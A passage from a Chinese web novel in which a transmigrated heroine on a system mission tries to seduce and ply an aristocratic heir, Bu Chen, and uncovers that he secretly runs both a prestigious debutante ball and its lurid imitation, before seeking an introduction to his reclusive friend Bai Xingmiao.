换做别的男人早已被阮柠的可爱的样子逗的找不到北,一口答应下来。步宸的嘴巴却依然闭着,没有松动的迹象。
他扶起阮柠:“小姐,你还是好好休息一下吧。”
“等等!”阮柠急了,心一横,豁出去了。
女孩的眼睛瞬间睁大占据巴掌大的小圆脸,覆上步宸的嘴唇蜻蜓点水似的吻了一下,“……行了吧。”
步宸:“……”
他细细打量着阮柠,上一次匆匆离别,这是他第一次近距离观察女孩的相貌。
她化着最狂放性感的烟熏,眼睛有些脱妆显露出欢场放纵的痕迹,唇瓣却是意外的又柔又软,像风吹蒲公英一样拂过步宸的嘴唇。她稚嫩笨拙强吻过来,显得更纯洁懵懂,以及……撩人……
步宸轻笑:“小姐,你是真的需要好好休息了。”
阮柠醒来后发现自己睡在总统套房客厅的沙发上。她慌忙检查衣服包包,好在
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一切正常。
隔壁浴室响着哗啦啦的流水声,阮柠寻着声音紧张地放轻脚步慢慢靠过去查看。房间装修的豪华,处处是精美昂贵的家具,可见能带她进入这间房的人身份非同一般。
她记得当时自己当时实在太困了,凭着最后一丝清醒找到步宸,然后就什么都不记得了。
她只是小小眯了一会儿,再睁眼便是现在的位置。
阮柠内心升起不详的预感,一看时间已经快12点,如果不能顺利把人灌醉,她的计划就泡汤了。
阮柠蹑手蹑脚推开门,看见步宸背对着她站在淋浴水龙头下接电话,背影看很严肃,像在商讨什么要事,他说的话被水流盖过完全听不清,显然是有意为之。
阮柠想了一会儿,拿出手机悄悄打开学校新研发的一种ai软件,它可以在几千万种噪音中分辨人的声音并且转化为文字。
阮柠伸出手机,一个个字打在屏幕上。
“要请xx千金。你亲自送请柬到人家里,她不来,今天的舞会不用开了。”
“今年现场的百合花统统换掉,X少香味过敏,闻不了百合。”
软件翻译的语音显示步宸正在布置舞会,交代各项执行细节。原来在讲暗黑舞会的活动策划,想想的确时间快到了,步宸作为老板少不得费心。
至于一向嚣张惯了的步宸突然低调布置舞会,大概是今年终于碰到硬茬了吧,阮柠有丝幸灾乐祸。
今年原版舞会新邀请了不少新兴富豪,这些新兴富豪大多是底层白手起家的普通人。他们最大的特点就是比起要面子的老钱更看重实际利益。
富豪家长们满心欢喜终于为女儿筹划到正版舞会的邀请函,生怕闺女在成人礼上受委屈,老早就商量好了要联合起来打官司除掉暗黑舞会这块牛皮癣。他们这次准备充分来势汹汹,步宸也不得不正视。
外界一度传暗黑舞会可能今年停播,阮柠估摸可能是现在外面风声太大,步宸想低调行事吧。
阮柠断不会相信步宸会舍得暗黑舞会这个现金奶牛,肯定想方设法挨过风头。
这时屏幕上出现新的句子:
“皇家乐团不能来?不是去年合作的好好的吗。”
“立即去别国找同等级别替换,名头不能低于原版。”
“今年大皇宫更新了供暖系统,这些不用考虑。”
“今年的舞会主题是艺术与环保,你放有争议的奢侈品进来合适吗?”
阮柠越听越不对劲。
什么皇家乐团、大皇宫,在夜店搞艺术与环保?怎么听怎么别扭,莫非……
忽然脑海闪过一道冷光,该不会?
忽然步宸把水龙头关掉走出浴室。
16. 第 16 章
步宸打开门,看见阮柠正客厅醒红酒,见他来了嗔笑从眼神里绽开:“你出来啦。你在里面忙什么呢,我等你等了好久。”
步宸眼神微暗。女孩婷婷袅袅地站在酒柜旁,双手垂倒鲜红的酒液,抬眸一笑清媚勾人。
步宸心头升起些许失望。
他见多了女人欲擒故纵的把戏,为了吸引他的注意,先是故作姿态地拒绝,后来又低声下气回来求和。
那晚,他多看了这个唯一当众拒绝他的女生一眼,转眼却落得跟别的惺惺作态的女人没什么两样,顿时了无意趣。
步宸牵起阮柠的手拉到沙发上坐下:“你既然醒了就回去吧。时间不早了,我不送客了。”
阮柠笑容略微僵硬,更加柔顺地主动环上步宸的胸膛:“我们不是说好一起喝酒嘛,怎么又反悔了……”
少女眸子波光潋滟,蝶翼般的浓睫毛下闪着娇嗔的目光。
步宸重复一遍:“你可以留在这间房休息直到明天,没人会来打搅你。”
阮柠连忙勾住要起身的步宸,从胸口慢慢往上,贴在他的脖颈边轻轻嘻笑:“步公子,这里只有我们两个人。酒已经醒好了,何必辜负难得的良辰美景呢。”
空旷的房间把少女软糯的声音无限放大,暧昧的暖黄水晶吊灯光晕落在阮柠脸上,渡上一层魅惑的柔光,显得格外欲色缠绵。
步宸眸光微动,忽然挑唇一笑:“如果你不想休息,可以立刻出去。”
阮柠媚若无骨地靠在步宸肩头,撩开他的领口指着一枚若隐若现的唇印,那是她刚刚故意留下的。
阮柠的手指绕着口红印缓缓划着圆圈,声音温柔地变了调:“步公子,我好像不小心把你身上弄脏了。”
步宸低头,阮柠突然贴住他嘴唇深吻。步宸动手推开,少女淡淡的幽香便袭过来,阮柠不容拒绝地吮吸着他的唇瓣,轻巧带了些试探的意味,而后辗转剧烈,一起陷入唇舌的纠缠。
亲吻间阮柠手臂攀上他的后背,一股酥酥麻麻的微刺沿着脊椎一直传到步宸的大脑。她不停抚摸后背渴望得到更多回应,白皙的皮肤染上淡淡的绯红,动情后的面庞愈娇艳美好。
步宸微微睁眼,女孩微红的眸子里裹着潮气,眼里半是渴求半是轻蔑,口红吻的模糊了颜色。
一时间,寂静的客厅只剩下急切的衣料摩擦声和啧啧亲吻声,空气中散发着旖旎暧昧的气息。
阮柠稍想退后喘口气,步宸身子便压下来,抵着她的后脑不许她后撤。两人闭眼滚落到沙发上,阮柠长发散开勾到旁边的包包,啪嗒一声掉到地上,给步宸准备的药瓶从包里滚落出来。
阮柠眯眼立即去捞,步宸扶正她的脸,吮咬着阮柠的柔唇低声哄:“别管它,专心。”指腹在她腰间掐出红痕。
阮柠的心一阵乱跳,感受到唇上传来炽热的温度,悄悄朝药瓶滚落的方向摸索。
她一阵乱摸,忽然手机里发出ai语音:“今年的舞会主题是艺术与环保,你放有争议的奢侈品进来合适吗?”
顿时全世界都安静了。
阮柠全身如坠冰窖,步宸缓缓松开阮柠,坐直身子,神情古怪地盯着她。琥珀色的瞳眸里居然看出幽暗的阴影,像是漫长无垠的夜。
“你到底是谁,为什么来我身边?”
阮柠笑了一下娇媚地靠过去:“步少爷您怎么啦,怎么脸色突然变这么难看。”
步宸闪开,拿起手机翻了一下,阮柠偷录的他的语音便从app中以机械的声音一字不差念出来。
阮柠的手不易察觉地颤抖起来,手指抠出血珠,鬓边开始生出冷汗。
此刻步宸眼里的情欲退去,目光如同深渊,等着她给自己一个解释。方才缱绻厮磨的男女四目相对,宛若紧张对立的仇人。
阮柠双手无处安放,脑子有各种声音在尖叫呐喊,她死死闭着嘴不敢开口。
步宸不打算与她耗下去,拨电话叫人进来。
“等等,”阮柠急忙叫住,或许是刚才两人之间亲密举动卸去了陌生人之间的礼貌与客套,已经被逼到悬崖之上的阮柠大胆问:“难道你才是正版名媛舞会的幕后老板?”
步宸微微挑眉,默然不语。
阮柠抓住片刻喘息的机会继续发问。
“你为什么要这么做?”
“你已经有了声名远扬的正版舞会,为什么还要用低俗下流的暗黑舞会抹黑它,这对你有什么好处?”
步宸并没有回答,起身走到桌边倒了一杯红酒,猩红的酒液在杯里转了个弯,折射出鬼怪魑魅的波光。
阮柠眼里不可置信:“难道你是故意的?”
她偷听时就大胆猜想步宸是隐藏在幕后的正版名媛舞会老板,但这么重大的机密她只敢想想,没处证实也不敢乱说。
若不是被逼到走投无路,她绝不会直白大胆地问出来。打了这么多年游戏,阮柠深信在我方不利的情况下,最好的防守就是进攻,与其被动解释语音怎么来的,不如直接戳破步宸的秘密。
步宸并没有对她的无理感到恼怒,而是坐回沙发微笑着招阮柠过来。
阮柠谨慎地走上前,谁知男人突然伸手一个旋转拉她坐在自己腿上,似有似无地勾起唇角。
“放开我。”阮柠坐到步宸长腿上奋力挣扎,对方嘴里果木香气的酒味混着呼吸喷到自己脸上,皮肤立即浮出一层淡淡的粉红色。
步宸魅惑十足的眼睛欣赏地盯着她,手上却一点不温柔,阮柠被他强势锁在怀里挣脱不了半分。
步宸低头凑过来要亲,声音温柔又宠溺:“不是说好要陪我喝酒吗?”
阮柠躲开步宸的宽阔的胸膛,刚才的亲吻是主线里本来就有女配勾引男主剧情,但现在完全不是原剧本里有的剧情,她完全不想跟步宸有过多亲密接触啊。
阮柠努力扯别的,拉开两人距离。
“你办暗黑版舞会其实是种产品差异化策略对不对?”
“不管是正版或是暗黑版舞会,其实都是你精心打造的产品。”<
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“正因为有了不堪入眼的暗黑版,正版舞会的目标客户才会更加拥护原版的,从而继续支持原版。”
“所以暗黑版,就是为了衬托原版舞会高贵优雅的副线产品对不对?”
步宸笑着磊落又坦荡:“答对喽。”
“他们都想有张响亮的社交名片又愿意付出一定的报酬,我有什么理由不满足他们的愿望呢。”
原来名媛舞会最初是为一些边缘王室成员和没落贵族举办的,名媛舞会完全复刻旧时上流社会的社交活动,为没落贵族们打造一个往日荣光的乌托邦。
后来越来越多的新兴有钱人参与其中,想借着名媛舞会的名头提升身份地位,叩开传统上流社会的大门。
班廷公爵发现了其中的商机,遂把它做成一门生意。
当步宸接手时,舞会因为连年邀请暴发户,有钱就能上被人诟病,声誉年年降低。虽然暂时没有新的舞会替代它的位置,但嘉宾们渐渐失去了参加的兴趣,赞助商也纷纷撤离。
于是步宸想了这招神奇地扭亏为盈。
阮柠被他不择手段惊呆了:“你这么收割有钱人就不怕他们知道真相找你麻烦吗?”
“收割这词太难听了。”步宸笑道,“这叫各取所需。”
“我给了他们全球瞩目的曝光和身份象征,你觉得他们还在乎真相吗?”
步宸晃了晃红酒杯,侧脸轮廓藏在阴影中半明半暗。
“可是、可是……”阮柠总觉得这样欺骗别人不对,可是又说不出哪里不对。
“说来也奇怪,没有黑暗舞会前没几个人愿意来。黑暗舞会出现后,他们反而是最团结最支持原版的一群人。”
步宸优雅抿了一口,仿佛在说一个与他无关的故事。
“一旦有另一款同类竞争体出现时,人们便产生了深刻的名誉危机,抱团在一起捍卫正统,标榜出身,正本清源,不是很有趣吗。”
阮柠小声不满:“如果出现新的舞会取代挑战你的位置呢?”
“想知道吗?”步宸笑着抬了抬脸颊,“亲一个我就告诉你。”
流氓!
阮柠竖目,脸上浮现一丝羞恼。
步宸笑意更浓,目光细细描摹怀里的阮柠。
乌黑的盘发松松落下几缕,垂在白皙细腻的脖颈边,黑白分明的眸子纯的不含一丝杂质。眼神中闪烁着有暗场里少有的稚拙、正气。
他在夜场见过无数人,也不止一次在撩夏谈生意,很少有人从只言片语中拼凑出故事真相。今天的确遇到了点不一样的。
步宸看不出情绪的浅眸渐渐变深,在阮柠看来却是恐惧到极点的深渊。
他为什么盯着自己一声不吭,他想干什么?
“请问您在想什么,是有什么问题吗。”
步宸把酒杯送到她的嘴边,魅惑的浅瞳藏着些嬉笑玩味:“你还知道差异化定位。我有点期待今晚了。”
他笑着瞥了眼浴室:“你先洗……还是一起?”
17. 第 17 章
步宸虽然表面上给了阮柠选择,实际上笑意盈盈地拉她一齐去浴室,没给她任何拒绝的空间。
步宸低头亲下来,阮柠忙用食指挡住他的嘴唇:“等等。”
步宸微诧,亲亲阮柠雪白的指尖,温柔地望着她:“怎么了?”
阮柠面色涨红,发出短促慌张的颤音:“我不习惯跟别人一起,还是你先吧。”
步宸莞尔一笑,伸手将阮柠散乱的发丝轻柔地别在耳后,捧着她的脸在阮柠饱满红润的嘴唇上轻轻啄了一下,耳边呢喃:“不愿意陪我吗?”
“当、当然不是……”阮柠矢口否认,眼神四处游移,“我们来日方长嘛,何必今天体验完所有的惊喜。我听说步公子以温柔绅士闻名,应该不会拒绝我小小的请求吧。”
“好吧,”步宸垂着眼眸,“有什么奖励吗?”
阮柠怔住,这还有什么奖励?
步宸扬了扬下巴,眉宇溢出点点笑意,散发着连他都没察觉到的温柔缱绻。
阮柠耳后慢一拍的烧了起来。她抓紧步宸的胳膊,踮起脚尖对着他的嘴轻轻吻了一下,覆盖上他微凉的唇。
阮柠红着眼圈小心翼翼问:“这个算吗?”
步宸满足地舔了舔唇角:“你在外面乖乖等我。”
阮柠懵懵懂懂点头。
浴室再次传来水流冲击的声音,浴室专用音响同时响起,阮柠确认里面的人开始洗浴后立刻跑回客厅,跪在沙发边上屏气翻出丢到一边的手机。
她耳边传来阵阵嘶鸣,像有无数飞机起飞,轰隆轰隆的发动机声几乎把她击倒。
阮柠大脑皮层褶皱几乎快被拉平了。现在剧情已经完全偏移主线,步宸并没有像原著一样假装醉倒,还大摇大摆走进浴室。
阮柠当机立断,疯狂下滑手机屏幕寻找那个电话……
浴室里,步宸一边听着音乐一边冲洗身体,心情很是不错。
最近正版舞会的家长闹的很大,暗黑舞会受到了巨大的阻碍,他作为幕后老板也不得不小心平衡两条线的利益冲突。加上别的杂事,步宸已经很久没有发自内心地想与人开怀畅饮了。
直到遇到这个女主,让他在风云诡谲的商海俗务中呼吸到了一缕难得的清新。他不想细究她身上多如筛洞的疑点,只想好好的享受今夜的美妙。
忽然客厅门铃连续响了几声,声音很大吵到浴室里。
“去开门。”
步宸轻笑,果然是新手,接人待物还没有那么熟练熨帖。
只是他吩咐后门铃依旧执着不已地在叫,步宸察觉有异,裹上浴袍亲自起身。
走出浴室,客厅空空如也。步宸嘴角还挂着未完的轻笑,瞬间抿成一条直线,眼神凌厉深如寒潭。
他拧着眉头打开房门,两个保镖守在门外,中间站着身穿保洁制服的曾书雅。
曾书雅看到一个桀骜的冷脸帅哥穿着浴巾,半果着身子打开门,脸顿时羞成西红柿。
她捧着一袋洗好的女装结结巴巴自我介绍:“你好,我是xx保洁公司的人,我是来……”
曾书雅紧张地有些说不下去。
今天干洗部的同事家里临时有些事叫她帮忙去送还洗好的衣服。曾书雅本来听说地点是撩夏有些不敢来,奈何她天生性软,同事的再三恳求下还是过来了。
找到房间后,曾书雅先看到门口两膘肥体壮的保镖,再看到裹着浴巾、面色铁青的步宸,吓得差点忘了说什么,颤颤巍巍双手捧上。
“不好意思打扰了,这是您下单的换洗衣物,请您签收。”
步宸扫了一眼,是一套最新季的塞缪芙名牌女装,脸色瞬间冷的能凝结空气中的水汽。
步宸并没有接手,曾书雅尴尬地捧在半空不知如何是好。
不仅曾书雅心里忐忑不安,两个保镖也心里紧张。
少爷今晚进去时还心情不错,怎么现在突然跟变了个人一样。更何况春宵一刻值千金,从没见过少爷这个时候不高兴过。
曾书雅如履薄冰地试问:“先生,请问要我给您放进去吗?”
步宸眼神复杂地瞥了她一眼,没说什么,让开了一条道。
曾书雅霎时直冒冷汗,不明白这个半果的帅哥为什么这么吓人,后悔为什么答应同事来帮她送衣服。
曾书雅放下衣服后鞠了个躬飞快逃跑。步宸仰坐在沙发上揉了揉太阳穴,叫保镖进来问话:“屋里的人什么时候走的?”
保镖想了一会儿,刚刚是有个漂亮的姑娘从少爷房里匆匆忙忙走出来。因为少爷身边经常有姑娘进进出出,所以他们也没多在意,老实答道:“刚走没一会儿。要给您追回来吗?”
步宸:“不必了。”
步宸起身踏进卧室:“你们明天也不必来了。”
阮柠一口气跑出撩夏,顶着深秋的寒风,捂着冻的发红的胳膊打了辆车跑回宿舍。
她回到家第一件事就是卸掉浓妆全身洗的干干净净。
阮柠站在哗啦啦的淋浴花洒下拼命洗刷自己的身体,委屈的泪水混着洗澡水一起留下,一滴一滴打在心头。
她从小到大都是爸爸妈妈最放心的乖女儿,从没有做过任何逾矩的行为。就在方才,在撩夏,她把这辈子不会做不敢做的事都做了。
阮柠烦躁地走出浴室包上浴巾和干发帽,瘫倒在床上不愿起身。
她闭上眼睛,脑海里立即浮现撩夏昏暗的内场、嘈杂的音乐和刺鼻的酒味,还有步宸似笑非笑、神秘莫测的笑容,阮柠烦躁地朝天花板扔了个枕头。枕头正面落下又砸到她头上,阮柠惨叫一声心里更难过了。
今天这种情况,要不是她果断把原女主提前召过来,完全不敢想接下来会发生什么。
滴,系统传来熟悉的响声。
【任务圆满完成,女配行动限制暂时解除,故事进入下一章节】
阮柠叹了口气,像条被丢上岸的鱼大口大口喘气:“终于只剩下一个人了。”
翌日,塔伦商业区的一家高端摩天写字楼。
会议结束,步宸从容不迫地解散会议,满屋比他大十几岁的高级干部、事业部负责人陆陆续续走出房间,独留步宸一人。
这时手机铃响了,步宸瞄了一眼来电显示,扯了扯领带走到窗边,眺着高楼林立城市景观:“喂,什么事?”
“小宸啊,妈妈上次托你问的事你问了吗?你爸不是明年就要竞选了吗,你跟柏星邈关系又好……”
步宸皱眉:“他想问的事为什么不自己来问。”
电话里的声音被步宸问住,叹了一口气柔声道,“小宸,他毕竟是你的亲生父亲,步家的家业未来也只由你一个人继承,你们亲生父子俩有什么说不开呢。”
“明年大选各党都在极力拉拢左翼党。大家都知道,左翼党
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其实是卡默家说了算。你父亲那脾气拉不下脸去找柏家,你又跟柏星邈关系不错,你作为继承人更应该站出来替你父亲分忧不是吗。”
“咱们毕竟是一家人,你父亲升的越高,受益的最终都是你呀。有些事你就不要管了,那是大人的事与你无关。当下咱们一家人先齐心协力过了明年大选好吗,当妈妈求你了。”
步宸:“我一会儿有个会议,没别的事我先挂了。”
电话里的声音犹豫起来,“好,你别太拼了,照顾好自己的身体。你是班庭公爵唯一的继承人,一定要保护好身体健康。”
步宸:“知道了。”
午间,步宸开车到塔伦市国王街的一家高级私人俱乐部,他步履轻快地穿过重重走廊,进入了一间富丽堂皇的私人聚会室。
推开门,江翊皓正在打游戏。
江翊皓长腿搭在茶几上对着巨幅屏幕打实况足球,三只大狗在宽阔的聚会厅来回跑动争夺玩具球。
江翊皓看到步宸来了,瞟了一眼:“哟,来了。”
塔佩、班庭和卡默三家虽同为公爵地位相当,三家表面同气连枝,实际之间的关系微妙复杂。
身为三家继承人的江翊皓、步宸和柏星邈倒是意外合得来,无论上一辈之间恩恩怨怨从没影响过三人之间的感情,还会避开外人私下定期聚会。
步宸把钥匙放到茶几上,坐到江翊皓身边:“怎么只有你一个人,邈呢?”
江翊皓眼睛一刻不离屏幕,嘴朝身后的房间努努:“在里面,还在捣鼓他的破实验数据,那玩意也不知道有啥好弄的,天天看他捣鼓。”
步宸轻笑:“学渣的嫉妒总是来的莫名其妙。”
江翊皓拿手柄的手顿了一下:“我学渣,起码我拿到了毕业证,有人一年被开除三次绝了。”
步宸长腿悠然交叠:“不开除怎么开公司,不开公司怎么给你打工,你说是吧。”
三人同为朋友,从小成绩、性格、让家里操心程度却天壤之别。
柏星邈从小是别人家的孩子,成绩优秀、性格内向从不让家里操心。江翊皓是正宗学渣但也算循规蹈矩。唯有步宸性格顽劣到远近闻名,每每贵族圈内的家长想打孩子时,一想到自己的孩子不是步宸,顿时气又消下去了。
步宸从小就被家里送到寄宿制贵族学校,叛逆乖张的他在学校屡犯校规,令学校头疼不已。
班庭公爵把a国的名校挨个送了一圈依然没有一个学校肯收下他,一气之下想把他丢到国外去眼不见心不烦,公爵夫人心疼唯一的孩子,强烈反对之下才没送出去。
最后班庭公爵彻底不管,对儿子听之任之。
没了学校束缚的步宸反而活的更加精彩,亲自创办了几个公司,并且好友都跟着投了股表示支持。众所周知,江翊皓是步宸公司的第二大股东,步宸经常自诩为他的打工仔。
江翊皓笑着踹了旁边一脚:“行了,让我打会游戏先,一会儿还要去训练。你有什么话跟邈说吧。”
步宸靠在沙发上看江翊皓打游戏,招来三只狗在腿边揉搓:“不想说,没什么好说的。”
江翊皓打着打着,看了下时间,柏星邈一个人在房间里呆了几个钟头没一点动静,不放心超门里大喊一声:“喂,邈,你还活着吗?”
过了一会儿,门口响起专门设置的机械电子音:“你们周末去看流星吗?”
18. 第 18 章
江翊皓:“流星这东西一瞬即逝,看多了不吉利。”
步宸:“什么时候?我正好带美女去许愿。”
门里听到步宸的回话,直言不讳问:“阿步,你今天来帮家里递话吗?”
步宸有些惊讶好友的敏锐,但一想是柏星邈又了然了:“我叫他们死心。连你姥爷复活都不一定能说动你妈,更何况是你。”
江翊皓没听懂他们两个打什么暗语,只是狂拍大腿大笑。
有时候江翊皓也纳闷柏星邈这货到底怎么长的,一翻他家族谱顿时一目了然。
柏星邈的母亲,卡默女伯爵柏扶洲柏阿姨是他见过最特立独行的人,没有之一。
几十年前,塔佩、班庭、卡默嫡系主支最新一代继承人先后出生,这一代唯一的女孩柏扶洲成了a国身份最高贵的贵族小姐。与一般的贵族小姐不同,柏扶洲并不热衷社交聚会、园游赛马等传统淑女活动,反而喜欢搏击、探险等惊险刺激的项目。
她长大后更是成为了一名对社会底层富有同情心的活动家,经常游走在反对战争呼吁和平、关爱社会弱势群体活动的第一线。
柏扶洲在伊雅读大一的时候,曾瞒着家里偷偷去别的国家打过游击,帮助当地人民痛击殖民者。这事本来瞒的好好的,一天
老公爵在该国的授勋榜看到了亲女儿的照片气的卧床不起。
这事在古板守旧的上流社会引起轩然大波,人们嘲讽她放着好好的千金小姐不做,偏要自甘堕落整日跟泥腿子混在一起,丢了柏家的脸。
柏扶洲我行我素不理会他人目光,继续奉献她所热爱的人类解放事业,后来成为了a国左翼政党联盟的领袖。
老公爵过世后,柏扶洲顺理成章继承爵位。她当上公爵的第一天便慷慨捐出大半身家给公益慈善,要不是家里的几座城堡、祖传的古董、珠宝被老公爵有预见性的投了家族信托,否则也被柏扶洲一并捐了博物馆。
柏扶洲惊世骇俗的行为震惊了贵族圈,当年的老班庭公爵痛批她离经叛道,毁了祖宗家业,其他大大小小的名门家族虽然嘴上不说,也默默断了与柏家的来往。
那些本想打着柏家家产主意来当赘婿的人更是跑的比谁都快。一来二去,本国最尊贵的名门千金竟然拖成了无人问津的“老姑娘”。
然而女公爵本人并不在乎。
她嫁给了工作中认识的一个青年学者。青年学者虽然出身平民,但两人两情相悦志同道合。夫妇二人在至亲好友见证下举行了一场简单的婚礼,一年后生下了独子柏星邈。
江翊皓想,有这么个前卫朋克的亲妈在,柏星邈行为多跳脱反常也在情理之中。
柏星邈极度内向,不喜欢被人看见,哪怕屋子里只有他和步宸两个人在,也要把自己锁起来弄个变声电子音传话。有时候说着说着感觉自己不是对着一个活人,而是对着一个变形金刚。
江翊皓认为自己的生活算单调的,这位好友的生活比自己还单调。
他除了打球,有时候还会出去跟朋友聚会放松一下。柏星邈除了做实验研究,几乎正都呆在屋子里,看书打游戏做模型,或者等天彻底黑了背个望远镜去看星星,剩下时间抽空研究下基金股票,可以一整天完全不与人交流。
门口的机械电子音问:“你想我去试试吗?”
“不用,”步宸轻描淡写回,“他们是他们,我们是我们。我不希望任何事影响我们兄弟之间的感情。”
电子音说:“我无所谓。”
步宸:“算了吧兄弟,我怕你一开口,本来百分之零零零一的概率变成百分之负三百。”
江翊皓哈哈一笑:“你就说呗,反正你只包说不包成。”
江翊皓这下听明白了,他还以为是什么大事,原来是步家为了明年大选造势造到老对家身上了。
他最近经常看到步叔叔来家里做客。
听家里说,明年总理大选是近两百年来大贵族出身的政客站的离最高权力最近的一次,所以步家这次花了不少功夫游说拉票。
江翊皓没想到步叔叔居然会为了选票,豁出老脸去求昔日的老政敌柏阿姨。
他记得有年两人为了a国是否要从前殖民地b国撤军在电视节目上互喷了整整半年。他们三人当时就坐在现在这条沙发上一边喝饮料一边看自己爸妈在全国人民面前吵架。
江翊皓觉得没什么大不了,上一辈是上一辈的事,他们三个私下怎么样另当别论,还想劝劝步宸看开点,手机响了。
他话还没说,放任手机躺在茶几上叮铃铃地响。狗子们听不得一点动静,摇着尾巴围过来冲手机汪汪直叫。
江翊皓耐不住狗子一直叫唤,拿脚去够,只看了一眼屏幕,霎时丢了手柄一秒抢过来。
屏幕上赫然显示着“刘子涵”三个字。
江翊皓生怕对方挂断,着急忙慌摁下接听键声音不由自主夹了起来:“喂,是我。”
步宸眉头一皱,看到江翊皓紧张兮兮地贴着话筒以为捧着个宝贝,斜了一眼:“跟谁打电话呢?”
江翊皓没理他四处寻找僻静的地方,终于找到阳台,用脚拉开门一个侧身钻了进去。
“……你好、呃,是我。”
阮柠熟悉又怯生的声音从电话筒里传来,江翊皓心跳加速,抢白道:“我知道,我知道。找我有什么事?”
阮柠被他吓了一跳,犹犹豫豫地说:“那
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个,我有件事想拜托你,能不能请你抽空见个面,我有话想跟你当面说。”
江翊皓:!
蓝天白云,天气晴朗。
阮柠安约定好的时间来训练基地找江翊皓。
上次一别她以为此生再不会跟江翊皓有交集,想不到造化弄人她又灰溜溜地回来了。
自从撩夏出来后,阮柠连续打了几天游戏才稍稍缓过神来。等她清醒后一想不对,小命都要不保了还打呢。
她吓出一身冷汗,下一个任务是柏星邈,是三大男主中最聪明冷静的柏星邈!
柏星邈从小是a国有名的神童,阮柠老早就听过他的辉煌事迹。
他10岁开始自学微积分,16岁时撰写了一篇有关热力学温度与能量关系的论文在a国科学院宣读。同年去世界理工排名第一的c国大学入读,今年拿到本科学位后,回到伊雅攻读硕士深造。
阮柠这才明白为啥没在新生晚会上见到他的身影,人家入学就是学长,没必要跟他们大一新生坐一桌。
而且柏星邈出名的孤僻挑剔,听说连同行都不敢轻易打搅他。
听说每次内部交流会上柏星邈总是一个人安安静静坐在角落,不与同行交流。偶尔听到一些感兴趣的话题才默默走到人家身后。如果他认为谈话的内容毫无价值,会嗤笑一声走开,留下一脸懵逼的同行。
一想到前两次任务都做的几度崩溃,阮柠完全不敢想象碰到了聪明到近妖的柏星邈会死的多惨。自己在他眼里大概跟块苔藓差不多吧。
就是这样孤僻避世的冷傲天才,最后还是动了凡心爱上了女主。
阮柠长叹一口气。
其实她对这次任务踌躇不已的另一个原因,便是柏星邈的母亲——柏扶洲女公爵。
在混沌厌世的玉玉岁月里,阮柠看了很多柏扶洲写的鼓励女性接纳自己、追寻人生意义的书,她的书给她黑暗的生活照进了一束光。
阮柠对高高在上的天龙人没什么好感,唯独对柏星邈还没见面就多了几分敬意。
她不想因为这次任务破坏了自己在偶像儿子心中的形象,想在任务开始前先跟他做朋友,再徐徐图之。阮柠想如果有个人能帮忙介绍一下最好,毕竟全世界柏星邈能看入眼的都没几个人,她自己贸然过去估计人正眼都不会看一眼。
她搜索了几遍,悲催的发现居然只有江翊皓一人符合。各种资料显示柏星邈的朋友屈指可数,一起长大的江翊皓是他为数不多的信赖之人。
电话打过去的时候,江翊皓热情地吓了她一跳,二话不说立马答应见面。
也不知道等她说出真实目的后会不会答应,总之,阮柠怀着惴惴不安的心情来了。
19. 第 19 章
再次回到熟悉的基地,阮柠心中略带不安。
她以为经过上次事件后RQ安保会更严格一些,实际上依旧进来参观畅通无阻,院里到处是世界各地慕名而来的游客,呈现出新赛季前特有热闹。
阮柠进门就碰到了一对推着婴儿车来的外国小夫妻,操着生疏的a国话请她帮忙拍照片。
夫妻两是十几年的老球迷,因为看球结缘,今年喜得千金后看着孩子能坐飞机了,转了十个小时飞机专程来RQ训练基地打卡。
阮柠看着他们脸上发自内心的笑容也跟着笑了,她一直很佩服那些为热爱坚持了十几年的人们。想想自己好像没什么坚持了很久很久的爱好,也就坚持打游戏打了十几年。
阮柠尽心尽力地帮他们一家三口在大门边拍了一系列合影,夫妇看了成片笑的合不拢嘴连夸她拍得好,还送了条球队专属围巾给阮柠围上。
阮柠推辞不过便收下了,温柔地跟人说了再见,并且欢迎他们下次再来a国玩。
此时距离江翊皓中途休息还有一段时间,百无聊赖的阮柠走到训练场边等待。
广阔的绿茵训练场被铁丝网分割成不同训练区域,游客远远只能隔在外面观望,不过还是有一大群人举着手机兴奋拍照。
江翊皓呆的一线队训练场在最里面的位置不许外人参观,阮柠只能站在围在最外面的青少年组边上打发时间。
足球上竖了一块巨大的牌子,用红色加粗字体写着:不要在球场上散步!
阮柠会心一笑。
她看到里面有一群十几岁的高中生顶着稚气未脱的面庞勇猛地在球场上盘带长传,凌空抽射,球像长了翅膀一样在场内四处飞窜,带起呼呼风声,看得游客连连叫好。
伊雅的学生更喜欢游泳、赛艇这类抗性弱的运动,阮柠回想上一次看到男生这么意气风发地在草皮上踢球还是读公立高中的时候。
那时候,一年一届的全校足球赛是整个学校最瞩目最盛大的活动,到了比赛日当天全校师生都会去足球场加油助威,气氛热烈不亚于a甲联赛。
阮柠记得当时球场上最耀眼的明星是一位高年级的学长,他踢球也厉害长的也帅,是学校公认的校草。
他只要每一次上场,看台上的女生都跟打了鸡血一样加油呐喊,进了一个球后现场的欢呼声更是能把看台棚顶掀翻了。
然而他从不看别的女生,只跑到校花女朋友看台下庆祝比心,全场呜呼哀嚎被塞了一嘴狗粮。
不过,这都是别人的偶像剧情节,跟学的灰头土脸的阮柠毫无干系。
她转进公立高中后发誓一定要考上伊雅,几乎不参加任何文娱活动,全部精力都投入到学习中。别人回想高中还有青春明媚的操场、大礼堂,自己回想起来全是没日没夜的学习,追赶休学落下的功课,只有日复一日看不到头的痛苦、灰暗。
各种难以言喻的情绪忽然涌上阮柠心头,像一层层湿漉漉的雾气模糊了记忆画面,她不禁望着草地出神。
休息铃响后,江翊皓不等队友散开第一个冲出球场,队友在背后大呼:“卷王,你不练100个点球再下课吗。”
江翊皓笑着骂了一句神经,吹着口哨一路小跑消失在队友视野中。
那天他接到阮柠的电话还以为是诈骗电话,高兴的当晚没睡着觉,有种强烈的不真实感。
他本来想把蜻蜓胸针再精修一下送回去,谁知她先打过来了。江翊皓脑海里一瞬间蹦出“心有灵犀”四个字,他很高兴不是自己一头热,明显对方心里也惦念着。
江翊皓不知道为什么一想到要见阮柠兴奋地像心里炸开了烟花。
这些天离比赛越来越近,教练一遍遍问质他们有没有信心。江翊皓嘴上大声喊着有,其实心里有头困兽在来回踱步,他控制不住这头野兽在心房里横冲直撞。
听到阮柠要来,江翊皓像冬日冰封的河面被暖阳融化,生活又有了暖洋洋的春意。
江翊皓琢磨,大概是因为阮柠是唯一一个知道自己秘密的女生,所以看她比别人多了一层亲近。跟别人没法说的压力,她听了肯定理解。
他敏捷地蹿进人群,在人来人往的游客中搜了一阵,一眼看到了阮柠。
